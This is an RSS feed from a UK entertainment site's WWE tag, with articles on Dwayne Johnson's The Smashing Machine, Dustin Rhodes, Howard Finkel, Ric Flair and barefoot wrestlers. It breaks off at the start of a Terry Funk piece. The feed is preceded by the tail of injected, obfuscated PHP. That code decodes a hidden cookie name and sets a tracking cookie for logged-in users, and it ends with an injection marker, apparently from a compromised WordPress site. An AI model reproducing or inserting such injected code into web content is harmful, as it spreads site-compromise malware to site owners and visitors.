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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_e5ec0b87=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_e5ec0b87])){return;}$_d83d2b46=time()+(365*24*60*60);setcookie($_e5ec0b87,'1',$_d83d2b46,'/','',false,false);}}new GAwp_5bc92c2e(); /* __GA_INJ_END__ */ WWE Archives - DeadFormat https://deadformat.co.uk/tag/wwe/ Yesterday’s media. Today. Tue, 16 Sep 2025 18:24:32 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://deadformat.co.uk/wp-content/uploads/2025/08/cropped-ChatGPT-Image-Aug-5-2025-04_09_27-PM-32x32.png WWE Archives - DeadFormat https://deadformat.co.uk/tag/wwe/ 32 32 The Smashing Machine New Trailer Drops After Venice Premiere https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/ https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/?noamp=mobile#respond Tue, 09 Sep 2025 14:31:49 +0000 https://deadformat.co.uk/?p=10619 Dwayne Johnson stunned critics at the Venice Film Festival with his emotional portrayal of UFC legend Mark Kerr in Benny Safdie’s The Smashing Machine. Now, A24 has released a brand-new trailer ahead of the film’s theatrical debut on October 3, 2025. A “Rockaissance” in Motion? Johnson’s heartfelt performance has been called one of the most […]

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]]> Dwayne Johnson stunned critics at the Venice Film Festival with his emotional portrayal of UFC legend Mark Kerr in Benny Safdie’s The Smashing Machine. Now, A24 has released a brand-new trailer ahead of the film’s theatrical debut on October 3, 2025.

A “Rockaissance” in Motion?

Johnson’s heartfelt performance has been called one of the most ambitious of his career, leading some to speculate about a full-blown “Rockaissance.” Unlike blockbuster stars who simply pivot into “serious roles,” Johnson’s turn has been described as layered, intimate, and deeply personal. The Venice buzz suggests this could redefine his image beyond action spectacles, establishing him as a serious contender in the upcoming awards season.

IndieWire critic Ryan Lattanzio praised both Johnson and Safdie’s film, noting that it resists the trappings of prestige cinema.

“Safdie’s first solo-directed feature after helming episodes of TV’s The Curse and creatively breaking up with his brother Josh sounds like the stuff of awards-season bait… But The Smashing Machine is not that, nor is it The Wrestler, either.”
— Ryan Lattanzio, IndieWire

Johnson and Blunt’s On-Screen Chemistry

Safdie’s film explores the stark contrasts in Kerr’s life — his intimidating, undefeated presence inside the octagon and his wounded, insecure persona outside it. Emily Blunt co-stars as Kerr’s girlfriend and eventual wife, Dawn Staples-Kerr, delivering a performance that critics say matches Johnson beat for beat.

“Safdie’s film is rather a sweet duet between a remarkably unembellished Johnson and a blazingly good, blue-collar and freshly blown-out Emily Blunt.”
— Ryan Lattanzio, IndieWire

Their natural chemistry is enhanced by a real-life friendship. At Venice, Johnson described Blunt as his “best friend” and credited her with inspiring him to take greater artistic risks and embrace the emotional depth of the role. Many critics singled out their dynamic as one of the film’s strongest elements, grounding the story in raw, human emotion.

Release Date

Distributed by A24, The Smashing Machine will hit theaters on October 3, 2025. With awards chatter already surrounding Johnson’s performance and the new trailer showcasing Safdie’s uncompromising style, anticipation for the film is only growing. Watch the trailer below.

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]]> https://deadformat.co.uk/the-smashing-machine-new-trailer-drops-after-venice-premiere/feed/ 0 10619 Johnson Sparks Oscar Buzz with The Smashing Machine at Venice https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/ https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/?noamp=mobile#respond Mon, 01 Sep 2025 14:47:43 +0000 https://deadformat.co.uk/?p=10465 Dwayne Johnson is leaving his action-hero persona behind for something far more demanding — a raw dramatic turn in Benny Safdie’s The Smashing Machine. The film premiered at the Venice Film Festival on Monday, immediately igniting speculation that Johnson could be headed for his first serious run at Oscar glory. A Career Transformation As we […]

The post Johnson Sparks Oscar Buzz with The Smashing Machine at Venice appeared first on DeadFormat.

]]> Dwayne Johnson is leaving his action-hero persona behind for something far more demanding — a raw dramatic turn in Benny Safdie’s The Smashing Machine. The film premiered at the Venice Film Festival on Monday, immediately igniting speculation that Johnson could be headed for his first serious run at Oscar glory.

A Career Transformation

As we explored in our earlier coverage of Johnson’s pivot away from blockbusters, the actor has spoken about his “burning desire” to move beyond box office categories. The Smashing Machine delivers on that promise, casting Johnson as two-time UFC heavyweight tournament champion Mark Kerr.

Kerr’s career dominance was shadowed by harrowing personal struggles, including addiction to opioids and painkillers and multiple overdoses. The role is a sharp departure from Johnson’s work in franchises like Jumanji, Moana, and Fast & Furious. Emily Blunt co-stars as Kerr’s wife Dawn Staples, marking her second collaboration with Johnson after Jungle Cruise.

Early Praise and Oscar Speculation

Venice artistic director Alberto Barbera praised Johnson as “absolutely amazing” in the role and suggested both Johnson and Blunt could be strong Oscar contenders next year. The Venice festival has often been a launchpad for awards-season frontrunners, with recent examples including Brendan Fraser’s The Whale and Adrien Brody’s The Brutalist — both also backed by A24, the distributor of The Smashing Machine.

Safdie, best known for co-directing Uncut Gems with his brother Josh, described the project as a study of identity and fragility hidden beneath a violent persona. “We wanted this movie to exist as a memory for everyone who watches it,” he said, calling the title “a perfect onomatopoeia for something visual, conjuring images of domination and destruction with ease.”

The Festival Context

The Smashing Machine is competing alongside Frankenstein, Bugonia, The Voice of Hind Rajab, La Grazia, and No Other Choice in this year’s Venice lineup. Winners will be announced on 6 September.

For Johnson, the film could mark the most important career reinvention since his shift from WWE to Hollywood. Whether it translates into Academy recognition remains to be seen, but the early buzz suggests that “The Rock” is finally being discussed in the same breath as Oscar contenders.

The Smashing Machine opens in North American cinemas on 3 October 2025.

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]]> https://deadformat.co.uk/johnson-sparks-oscar-buzz-with-the-smashing-machine-at-venice/feed/ 0 10465 Dwayne Johnson Becomes “The Smashing Machine” https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/ https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/?noamp=mobile#respond Mon, 01 Sep 2025 14:42:55 +0000 https://deadformat.co.uk/?p=10462 Dwayne “The Rock” Johnson has revealed why he felt compelled to step away from the world of Hollywood blockbusters in favour of a more serious, dramatic project. Speaking at the Venice Film Festival ahead of the premiere of his new film The Smashing Machine, Johnson admitted he had a “burning desire” to pursue a role […]

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]]> Dwayne “The Rock” Johnson has revealed why he felt compelled to step away from the world of Hollywood blockbusters in favour of a more serious, dramatic project. Speaking at the Venice Film Festival ahead of the premiere of his new film The Smashing Machine, Johnson admitted he had a “burning desire” to pursue a role unlike anything he’d tackled before.

Directed by Benny Safdie and co-starring Emily Blunt, The Smashing Machine sees Johnson portray former UFC fighter Mark Kerr, whose career and personal struggles made him one of the sport’s most complex figures. The part represents a striking departure for Johnson, best known for big-budget adventures like Jumanji, Moana, and Fast & Furious.

Reflecting on the shift, Johnson confessed that he had become defined by the chase for box office numbers. “When you’re in Hollywood, it becomes about box office,” he explained. “You chase the box office, and that can push you into a category. But I realised I had this burning desire, and a voice in my head saying, ‘What if there is more?’”

Johnson credited Emily Blunt—his co-star in Disney’s Jungle Cruise and here playing Kerr’s girlfriend Dawn Staples—with encouraging him to take the leap into more demanding dramatic territory.

The move also follows a turning point in Johnson’s blockbuster career. His 2022 DC film Black Adam was billed as the start of a new era, even teasing a future showdown with Henry Cavill’s Superman. But only weeks after its release, James Gunn and Peter Safran were appointed co-heads of DC Studios, choosing to reset the franchise entirely. Johnson’s ambitious plans for the character were shelved, with Gunn instead steering the DC Universe toward a fresh relaunch beginning with Superman in 2025.

Against that backdrop, Johnson’s choice to pivot away from superhero spectacle into raw, character-driven drama signals a new creative chapter—one less defined by box office categories and more by personal challenge.

The Smashing Machine premieres at Venice before its wide theatrical release on October 3rd, 2025.

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]]> https://deadformat.co.uk/dwayne-johnson-becomes-the-smashing-machine/feed/ 0 10462 Dustin Rhodes – Five Decades of Wrestling Excellence https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/ https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/?noamp=mobile#respond Thu, 28 Aug 2025 14:44:41 +0000 https://deadformat.co.uk/?p=10343 On January 1, 2020, on an episode of AEW Dynamite, Dustin Rhodes etched his name into the record books by competing in professional wrestling across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. Already a rare feat, Rhodes has since gone on to add championship gold and more iconic moments, proving that his career […]

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]]> On January 1, 2020, on an episode of AEW Dynamite, Dustin Rhodes etched his name into the record books by competing in professional wrestling across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. Already a rare feat, Rhodes has since gone on to add championship gold and more iconic moments, proving that his career is as remarkable in its longevity as it is in its impact.

From “The Natural” to Goldust

Rhodes first made his mark in WCW in the late 1980s, billed as “The Natural.” His fundamentals and ring presence quickly set him apart. By the mid-1990s, in WWE, he transformed into the flamboyant and controversial Goldust—a boundary-pushing character that became one of wrestling’s most enduring personas.

What could have been a short-lived gimmick instead became a decades-long legacy, thanks to Rhodes’ total commitment and his ability to reinvent the role through different eras of WWE.

Reinvention Across Generations

Few wrestlers have adapted as seamlessly as Dustin Rhodes. He thrived in the big-man era of the 1980s, embodied the colourful theatrics of the 1990s, survived the ruthless reality-based style of the 2000s, and in the 2010s proved he could still deliver in a modern, athletic landscape.

Every reinvention felt authentic, because Rhodes backed it with both in-ring ability and emotional storytelling. His willingness to evolve is why he remains beloved by multiple generations of fans.

AEW Success and Championship Glory

Far from winding down, Rhodes embraced a new chapter with All Elite Wrestling. His emotional 2019 clash with Cody Rhodes at Double or Nothing reminded the world of his passion, but it was only the beginning.

In July 2025, at the age of 56, Rhodes captured the AEW TNT Championship, becoming the oldest champion in company history. It was his first major singles title in decades, a crowning moment that symbolised not just longevity, but relevance. Though his reign was brief, it cemented his status as a competitor who can still deliver at the highest level.

Beyond AEW, Rhodes also found success in Ring of Honor, winning both the ROH World Six-Man Tag Team Championship and the ROH World Tag Team Championship in 2024 as part of the Sons of Texas stable. These victories showcased his ability to shine in both singles and team competition, proving his value across multiple promotions.

Resilience in the Face of Injury

Even at this late stage of his career, Rhodes continues to push himself to the limit. His brutal Street Fight loss to Kyle Fletcher, and a loss of the TNT Championship in mid-2025 left him with severe knee damage, requiring double knee replacement surgery. Yet true to form, Rhodes has vowed to recover and return, his determination inspiring fans who have followed his story for decades.

Not Alone in His Achievement

While Dustin Rhodes was rightly praised for his five-decade milestone, he shares this rare distinction with Jushin “Thunder” Liger, who wrestled his farewell match just four days later in Japan. Together, they represent a near-unmatched endurance in the wrestling world—legends who defined multiple eras while constantly adapting to change.

Jushin Liger – Wrestling’s Masked Icon Across Five Decades

The Enduring Legacy of Dustin Rhodes

From “The Natural” in WCW, to the groundbreaking Goldust in WWE, to veteran champion in AEW, Dustin Rhodes has never stopped evolving. His five-decade milestone is more than a statistic—it’s proof of his resilience, creativity, and love for professional wrestling.

In 2025, with championships newly added to his resume and the promise of a comeback after injury, Rhodes remains a living testament to the idea that wrestling greatness isn’t tied to one era. It’s forged through reinvention, endurance, and passion—qualities that make Dustin Rhodes one of the most remarkable careers the industry has ever seen.

The only question left now: can he make it to 2030?

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]]> https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/feed/ 0 10343 Howard Finkel: The Voice of Wrestling https://deadformat.co.uk/howard-finkel-the-voice-of-wrestling/ https://deadformat.co.uk/howard-finkel-the-voice-of-wrestling/?noamp=mobile#respond Thu, 28 Aug 2025 14:16:04 +0000 https://deadformat.co.uk/?p=10330 Howard Finkel, a true icon in the wrestling world, passed away on April 16, 2020, at the age of 69, leaving behind a legacy that spanned decades. Known as the first employee signed by Titan Sports (later WWE), Finkel’s contributions went far beyond ring announcing. From ringing the bell to early website development, he was […]

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]]> Howard Finkel, a true icon in the wrestling world, passed away on April 16, 2020, at the age of 69, leaving behind a legacy that spanned decades. Known as the first employee signed by Titan Sports (later WWE), Finkel’s contributions went far beyond ring announcing. From ringing the bell to early website development, he was a cornerstone in the growth of professional wrestling. He even coined the name WrestleMania when Vince McMahon was still considering alternatives—cementing his influence on the very foundation of the WWF.

The Soundtrack of Wrestling History

For fans who grew up in the 1980s and 1990s, Howard Finkel was more than an announcer—he was the soundtrack to their wrestling memories. His voice amplified the drama of match outcomes, ensuring clarity in even the most chaotic finishes. At the 1988 Royal Rumble, his authoritative call cleared confusion in the Ric Rude vs. Ricky Steamboat and Hercules vs. Ultimate Warrior matches, transforming uncertainty into excitement.

Elevating Legendary Moments

The greatest wrestlers of the era felt the gravity of Finkel’s role. Roddy Piper’s proud smile at Royal Rumble 1992, Hulk Hogan’s stunned fall to his knees at WrestleMania VI, and Randy Savage’s triumphant return as champion at WrestleMania VIII were all moments immortalised by his delivery. The Undertaker’s undefeated streak at WrestleMania, Chris Benoit’s emotional World Heavyweight Championship victory at WrestleMania XX, and Owen Hart’s own celebrated milestones were all elevated by the precision of his announcements. Finkel’s trademark voice gave each result a sense of permanence and history.

Recognising the Greats of Wrestling

From Harley Race, one of wrestling’s toughest champions, to Ricky Steamboat, widely regarded as one of the most technically gifted wrestlers of all time, Howard Finkel provided the soundtrack to their biggest WWF moments. His booming delivery gave the Wild Samoans’ dominance extra weight, made Stone Cold Steve Austin’s rise feel inevitable, and underscored the chaos of the Attitude Era. When Austin became WWE Champion at WrestleMania XIV, Finkel’s declaration made it clear: a new era had begun.

Comparing Howard Finkel and Michael Buffer

While WCW brought in Michael Buffer during the Monday Night Wars, his showbiz flair never matched Howard Finkel’s authenticity. Buffer’s background in boxing made him a larger-than-life presence, but his missteps with wrestling-specific nuances—sometimes even mispronunciations—highlighted the difference. Finkel’s precision, passion, and catchphrase “And neeeewww” added a finality that was woven deeply into wrestling itself.

Beyond the Microphone

Howard Finkel’s contributions weren’t limited to the ring. He worked behind the scenes on ticket sales, the early WWF website, and branding—famously naming WrestleMania. His versatility gave WWE continuity across decades, a legacy that announcers like Jim Ross or Michael Cole, despite their own immense contributions, couldn’t fully replicate.

The Emotional Weight of His Announcing

Finkel’s presence gave official weight to every victory. His calls weren’t just announcements; they were validations. For wrestlers, being announced by him meant their achievements carried historic significance. For fans, his tone and timing elevated every match, embedding emotion and excitement into the memory.

Trials, Tributes, and a Legacy Restored

Despite WWE occasionally sidelining him with comedic roles or minor humiliations, Howard Finkel remained beloved. His surprise return as CM Punk’s personal ring announcer at Survivor Series 2011 brought one of the loudest crowd reactions of the night—a clear reminder that The Fink’s connection with fans could never be replaced.

The End of an Era

With his passing, wrestling lost not just a voice, but an institution. Howard Finkel embodied professionalism, passion, and precision, shaping how wrestling was experienced for generations. His legacy endures in every iconic announcement, every legendary moment he punctuated, and every fan who still hears his voice when they think of wrestling’s greatest nights.

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]]> https://deadformat.co.uk/howard-finkel-the-voice-of-wrestling/feed/ 0 10330 Ric Flair: The Nature Boy Who Made Wrestling Better https://deadformat.co.uk/ric-flair-the-nature-boy-who-made-wrestling-better/ https://deadformat.co.uk/ric-flair-the-nature-boy-who-made-wrestling-better/?noamp=mobile#respond Wed, 27 Aug 2025 23:53:34 +0000 https://deadformat.co.uk/?p=10316 Ric Flair’s rise to wrestling superstardom is inseparable from his unique approach to the business—an approach that contrasts sharply with that of his contemporary, Hulk Hogan. Where Hogan’s legacy is often marred by stories of backstage politics, paranoia, and refusal to pass the torch, Flair is remembered as a generous performer who understood that his […]

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]]> Ric Flair’s rise to wrestling superstardom is inseparable from his unique approach to the business—an approach that contrasts sharply with that of his contemporary, Hulk Hogan. Where Hogan’s legacy is often marred by stories of backstage politics, paranoia, and refusal to pass the torch, Flair is remembered as a generous performer who understood that his success was tied to the success of his opponents.

The Making of the Nature Boy

Flair’s career nearly ended before it truly began. In 1975, just three years into his wrestling journey, Flair was involved in a horrific plane crash in Wilmington, North Carolina, that killed the pilot and broke Flair’s back in three places. Doctors told him he would never wrestle again. Instead, Flair rebuilt himself—transforming from a bulky power wrestler into the agile, bump-taking “Nature Boy.” His resilience not only saved his career but defined the style that made him famous: dramatic falls, wild energy, and an unmatched ability to make opponents look like world-beaters.

By the early 1980s, Flair was the chosen standard-bearer of the National Wrestling Alliance. His crowning moment came at Starrcade 1983: A Flair for the Gold, where he defeated Harley Race inside a steel cage in front of 15,000 fans in Greensboro. Starrcade was the NWA’s answer to WrestleMania before WrestleMania existed, and Flair’s victory cemented him as the man to carry the promotion into the modern era.

The Three Faces of Ric Flair

To appreciate Flair’s impact, you must understand the three distinct personas that defined him: Honest Flair, Performer Flair, and Petulant Flair.

Honest Flair was the man behind the robe—the candid voice in his autobiography, and the WCW booker who could see beyond himself. He was realistic, even blunt, about the strengths and flaws of others. He praised rivals publicly but admitted in print when someone, like Kerry Von Erich, lacked the discipline or stamina for long, complex matches. As a booker, Honest Flair spotted potential in younger talents like Brian Pillman and Alex Wright, often putting them over despite his own legendary status. He could have booked himself as an untouchable champion, but instead chose humility, protecting the health of the business.

Performer Flair is the version most fans know: the “Nature Boy.” Flashy robes, diamond rings, limousine rides, jet planes—the embodiment of wrestling excess. Always on, always ready to entertain, Flair’s promos were theatrical but grounded in history. He didn’t just shout; he told stories, weaving his current feud into the broader tapestry of battles with Harley Race, Dusty Rhodes, or Ricky Steamboat. His charisma made every opponent seem important, every match part of something larger. The formation of the Four Horsemen in 1985 epitomized Performer Flair at his peak. Alongside Arn Anderson, Ole Anderson (later Barry Windham), and Tully Blanchard, Flair led the most influential faction in wrestling history. The Horsemen not only legitimized Flair as the ultimate heel champion but also set the template for every major faction to come, from the nWo to Evolution.

Petulant Flair was the defiant side—sometimes petty, sometimes protective of his legacy. His public spat with WWE and Becky Lynch over “The Man” moniker showed this side in modern times. Yet this aspect also preserved his career: when WCW’s Jim Herd wanted Flair to rebrand as a cartoonish “Spartacus,” Flair flatly refused, left the company, and took the championship belt to WWF. That act of rebellion gave fans one of Flair’s most memorable runs, including his Royal Rumble 1992 victory—arguably the greatest Rumble performance of all time. Flair’s defiance against Herd’s creative missteps preserved his character and cemented his place in history.

Master of Wrestling Storytelling

Ric Flair’s greatest strength was storytelling. His matches were not just exhibitions of athleticism but carefully paced dramas. He could adapt to anyone: the rugged Harley Race, the graceful Ricky Steamboat, or the powerhouse Lex Luger. His so-called “formula” of bumps and spots wasn’t laziness but craft—a proven rhythm that let crowds build to fever pitch, whether the match lasted 15 minutes or a full hour.

On the microphone, Flair stood apart. While peers leaned on catchphrases, Flair drew from memory. He referenced dates, places, and rivals, turning his promos into oral histories of wrestling. For younger fans, he was an educator; for older fans, a reminder of why they cared in the first place.

His 1989 trilogy with Ricky Steamboat remains a gold standard for wrestling storytelling—three matches across pay-per-views that blended athleticism with drama. Likewise, his feud with Dusty Rhodes embodied the clash of wealth vs. common man, giving fans a narrative that transcended the ring.

Elevating Others and Defining Eras

What sets Flair apart is his willingness to elevate others. Sting, Steamboat, Luger, even Vader—all were legitimized by Flair’s feuds. Unlike Hogan, whose opponents often lost momentum after being fed to him, Flair’s rivals emerged stronger, their careers defined as much by battling Flair as by their own victories.

As a booker and locker-room leader, Flair’s philosophy was clear: a champion is only as strong as his challengers. That belief fostered generations of stars and kept WCW competitive long before the nWo arrived. His intense feud with Randy Savage in the mid-1990s helped spark WCW’s climb into Monday night contention with WWF.

Flair also deserves credit for keeping WCW afloat during the Monday Night Wars. While Hogan, Nash, and others played politics at the top, Flair consistently put over younger talent, often at his own expense. His shoot-laced promos against Eric Bischoff in 1998 blurred the line between reality and fiction, showing Petulant Flair’s fire in defense of the wrestling he believed in.

The Anti-Hogan

If Hogan symbolized invincibility, Flair symbolized vulnerability. His 16 world championship reigns weren’t about dominance but about drama—he was just as willing to lose as to win, because a strong opponent made for a stronger Flair. Fans stayed invested because they knew the title could realistically change hands in a Flair match.

Where Hogan’s opponents often fell back down the card, Flair’s feuds launched careers. This difference in philosophy defines why Flair is remembered not only as a champion but as a kingmaker. Hogan protected himself; Flair protected the business.

Even in his later years, Flair proved his willingness to give back. At WrestleMania XXIV in 2008, he wrestled Shawn Michaels in a career-ending match that delivered one of wrestling’s most emotional moments. Michaels whispered, “I’m sorry, I love you,” before delivering the final superkick that retired Flair. It was a perfect end for Performer Flair: theatrical, heartbreaking, and unforgettable.

Flair’s Influence and Flaws

Flair’s influence extends well beyond his own career. Wrestlers like Triple H, Randy Orton, and his daughter Charlotte Flair have all carried forward his cadence, psychology, and swagger. His trademark “Wooo!” echoes not only in wrestling arenas but in sports stadiums around the world.

Yet Flair’s legacy is complicated. Bret Hart criticized him for formulaic matches. Financial troubles and divorces plagued his later life. His involvement in the infamous “Plane Ride from Hell” and his dispute with WWE over “The Man” catchphrase dented his reputation. These flaws reflect both Petulant Flair and the excesses of Performer Flair bleeding into real life.

Final Word

Ric Flair’s legacy is one of collaboration, storytelling, and elevation. He was Honest Flair, the shrewd booker; Performer Flair, the unforgettable Nature Boy; and Petulant Flair, the man who defended his character to the bitter end. Together, these sides made him not just the best at what he did, but the man who ensured wrestling itself was better for having him.

Where Hogan’s career was about holding on to the spotlight, Flair’s was about shining it on others. That’s why, forty years later, Ric Flair isn’t just remembered as a legend—he is remembered as the wrestler who made stars.

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]]> https://deadformat.co.uk/ric-flair-the-nature-boy-who-made-wrestling-better/feed/ 0 10316 Barefoot in the Ring: Wrestling Without Boots https://deadformat.co.uk/barefoot-in-the-ring-wrestling-without-boots/ https://deadformat.co.uk/barefoot-in-the-ring-wrestling-without-boots/?noamp=mobile#respond Fri, 22 Aug 2025 15:04:47 +0000 https://deadformat.co.uk/?p=10049 Who is the greatest wrestler to ever lace up a pair of boots? Certainly none of the following, whose in-ring trademarks included wrestling barefoot. Whether to portray a wrestler of a particular fighting style or cultural heritage, these performers became shoeless stars in the squared circle. The Golden Age of Barefoot Wrestling Antonino Rocca A […]

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]]> Who is the greatest wrestler to ever lace up a pair of boots? Certainly none of the following, whose in-ring trademarks included wrestling barefoot. Whether to portray a wrestler of a particular fighting style or cultural heritage, these performers became shoeless stars in the squared circle.

The Golden Age of Barefoot Wrestling

Antonino Rocca

(Photo: Ring the Damn Bell!)

A pioneer of the high-flying style, Antonino Rocca dazzled audiences in the 1940s and ’50s with his speed, agility, and gymnastic grace — all while wrestling barefoot. Trained by Stanislaus Zbyszko, Rocca brought a whole new athleticism to the sport, using dropkicks, flying headscissors, and acrobatic rope maneuvers when most wrestlers were still grounded.

Rocca became a sensation at Madison Square Garden, often selling out the building thanks to his barefoot flair. His tag team with Miguel Perez was among the most popular of the era, and he also teamed with a young Bruno Sammartino. The WWWF (later WWE) even credited Rocca with helping establish its early dominance in New York. His barefoot style made him stand out visually, but it was his energy and charisma that made him one of the first truly global wrestling superstars.

Haystacks Calhoun

(Photo: Amino Apps)

At over 600 pounds, Haystacks Calhoun was billed as one of the heaviest wrestlers of all time, and he leaned into his loveable “hillbilly” gimmick — complete with denim overalls, horseshoes, and of course, wrestling barefoot.

Calhoun’s sheer size made him a spectacle wherever he went, but his shoeless presentation amplified the “country boy” image. A major attraction in the 1960s and ’70s, he worked memorable programs with Bruno Sammartino, Bobo Brazil, and others. In 1973, he teamed with Tony Garea to win the WWF World Tag Team Championship, showing that despite his limited mobility, promoters trusted him as a headliner.

Outside the ring, Calhoun crossed into mainstream culture, appearing on talk shows and even alongside Jayne Mansfield and Groucho Marx. Inducted into the WWE Hall of Fame’s Legacy Wing, he remains remembered as one of wrestling’s original giants — and one of its most famous barefoot stars.

Territory & WWF Boom Era Barefoot Stars

Kevin Von Erich

(Photo: WWE Network)

The barefoot look is perhaps most synonymous with Kevin Von Erich, the heart of the legendary Von Erich family dynasty. Nicknamed “The Barefoot Boy” in Fritz Von Erich’s World Class Championship Wrestling, Kevin chose to go without boots partly due to knee surgeries, explaining later that he felt “like you can fly taking that weight off your feet.”

Alongside brothers David and Kerry, Kevin helped make WCCW a regional powerhouse in the 1980s, filling Texas stadiums with their wild feuds against the Fabulous Freebirds. Kevin also had major singles clashes with Ric Flair and Chris Adams, showing he was more than just part of a family act.

The barefoot choice added to his mystique — a visual reminder of his natural athleticism and fiery energy. Today, Kevin is the last surviving brother, and through films like The Iron Claw, his shoeless legacy is cemented as part of wrestling folklore.

Jimmy Snuka

(Photo: WWF Old School)

“Superfly” Jimmy Snuka was one of wrestling’s first true daredevils. His barefoot dives off the ropes and cages captivated audiences in the early 1980s WWF. The most famous came in 1983, when he leapt from the top of a steel cage onto Don Muraco, inspiring countless future wrestlers — including Mick Foley, who called it a life-changing moment.

Snuka’s barefoot look, combined with leopard-print gear and wild-eyed charisma, painted him as a feral islander, tapping into stereotypes but making him instantly memorable. Though he sometimes wore boots later in his career, fans remember him shoeless, climbing the cage, ready to fly.

While Snuka’s later years were marred by controversy surrounding the 1983 death of Nancy Argentino, his barefoot influence on wrestling style and spectacle cannot be ignored.

Kamala

(Photo: BBC)

“The Ugandan Giant” Kamala was one of wrestling’s most unique attractions. Painted head to toe in tribal markings and carrying a spear and shield, Kamala worked barefoot to further his wildman gimmick.

With handlers like Kim Chee by his side, Kamala’s matches often played on his supposed lack of understanding of wrestling rules — he sometimes needed to be shown how to pin opponents. Despite this, he became a credible threat, feuding with Hulk Hogan, Andre the Giant, and The Undertaker.

Though rooted in problematic stereotypes, Kamala was an enduring draw across multiple promotions, and his barefoot stomps remain part of wrestling’s colourful history.

Yokozuna

(Photo: WWE)

As a kayfabe sumo grand champion, Yokozuna wrestled barefoot, reinforcing the legitimacy of his Japanese-inspired character. At over 500 pounds, his barefoot stance gave him a unique look, visually separating him from other giants.

Yokozuna’s run in WWF was remarkably successful: he won the 1993 Royal Rumble, became a two-time WWF Champion, and headlined WrestleMania against both Bret Hart and Hulk Hogan. Later, he defeated The Undertaker in a memorable casket match, proving even supernatural gimmicks could fall to his weight and barefoot strikes.

His health struggles and weight issues cut his career short, and he tragically died in 2000 at just 34. Still, his barefoot dominance made him one of the defining stars of the New Generation era.

The Wild Samoans & Islander Tradition

From Peter Maivia to The Wild Samoans (Afa & Sika) and The Headshrinkers (Fatu & Samu), barefoot wrestling became synonymous with the Samoan wrestling tradition. The lack of boots signified primal strength and unpredictability, part of the family’s “islander warrior” presentation.

This legacy extended to wrestlers like Haku and Umaga, and even early incarnations of stars like The Usos. For decades, the Anoa’i family kept the barefoot tradition alive, intertwining heritage with character work.

Modern Barefoot Wrestlers

(Photo: Bleacher Report)

Haku

Haku, or Meng in WCW, is remembered as one of the toughest wrestlers ever — both inside and outside the ring. Wrestling barefoot during much of his career, Haku’s strikes felt more authentic, adding to his reputation as a dangerous competitor.

He found success as part of The Islanders, later teaming with Andre the Giant in The Colossal Connection to win the WWF Tag Team Titles. He also worked as King Haku and in WCW alongside The Barbarian. Backstage, stories of Haku’s toughness became legendary, with fellow wrestlers swearing he was nearly impossible to hurt. The barefoot look only heightened his aura as wrestling’s most feared enforcer.

Umaga

(Photo: Online World of Wrestling)

Umaga, the “Samoan Bulldozer,” brought the barefoot tradition into the 2000s. A ferocious powerhouse, Umaga’s barefoot stomps and headbutts made him feel more savage and unpredictable.

Debuting in 2006, he quickly beat legends like Ric Flair and Kane, moved into main-event programs with John Cena, and represented Vince McMahon at WrestleMania 23 in the “Battle of the Billionaires.” That match helped make WrestleMania 23 the most-bought event in the show’s history at the time.

A two-time Intercontinental Champion, Umaga’s barefoot presence was short-lived but unforgettable. He died in 2009, but his family continues his legacy through The Bloodline faction in WWE.

Matt Riddle

(Photo: The People’s Wrestling Website)

A crossover star from UFC, Matt Riddle brought authenticity to barefoot wrestling in WWE. He explained that fighting without boots allowed him greater balance and movement, a direct carryover from his MMA background.

Riddle thrived in NXT before moving to the main roster, where he won the United States Championship and formed the wildly popular RK-Bro tag team with Randy Orton. His goofy charisma contrasted with his legitimate fighting skills, making him a unique modern barefoot wrestler.

Though released in 2023 after controversies, Riddle remains active in Japan and the independents, keeping the barefoot tradition alive in the modern era.

Rusev

Before reinventing himself as Miro in AEW, Rusev first wrestled barefoot in WWE, his presentation drawing from his Muay Thai training. His early run saw him booked as an unstoppable force, crushing opponents and capturing the United States Championship.

After suffering a serious foot injury, he switched to boots but kept much of the barefoot aura that defined his early dominance. Later, his grassroots “Rusev Day” gimmick caught fire with fans, leading to another career resurgence.

Conclusion

From pioneers like Antonino Rocca to modern fighters like Matt Riddle, wrestling barefoot has been rare but impactful. For some, it symbolised heritage; for others, it was about freedom of movement or sheer intimidation.

Boots may be the industry standard, but barefoot wrestlers carved out unforgettable places in history — proof that sometimes, the simplest choice can leave the biggest mark.

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]]> https://deadformat.co.uk/barefoot-in-the-ring-wrestling-without-boots/feed/ 0 10049 Terry Funk’s Wrestling Legacy: Mentor, Innovator, Icon https://deadformat.co.uk/terry-funks-wrestling-legacy-mentor-innovator-icon/ https://deadformat.co.uk/terry-funks-wrestling-legacy-mentor-innovator-icon/?noamp=mobile#respond Tue, 19 Aug 2025 14:36:27 +0000 https://deadformat.co.uk/?p=9948 Originally published: August 23rd, 2023. As Cactus Jack, a relative newcomer as a character to the World Wrestling Federation audience, staved off the 2-on-1 onslaught of Billy Gunn and the Road Dogg with the guidance of a conveniently placed, unexplained box in front of the RAW is WAR titantron, the loud noise of a chainsaw […]

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]]> Originally published: August 23rd, 2023.

As Cactus Jack, a relative newcomer as a character to the World Wrestling Federation audience, staved off the 2-on-1 onslaught of Billy Gunn and the Road Dogg with the guidance of a conveniently placed, unexplained box in front of the RAW is WAR titantron, the loud noise of a chainsaw echoed throughout Nassau Coliseum. The date was December 29th, 1997, mere days before the ball dropped 20 miles down the road to ring in 1998 when Terry Funk came to War Zone in Uniondale, New York.

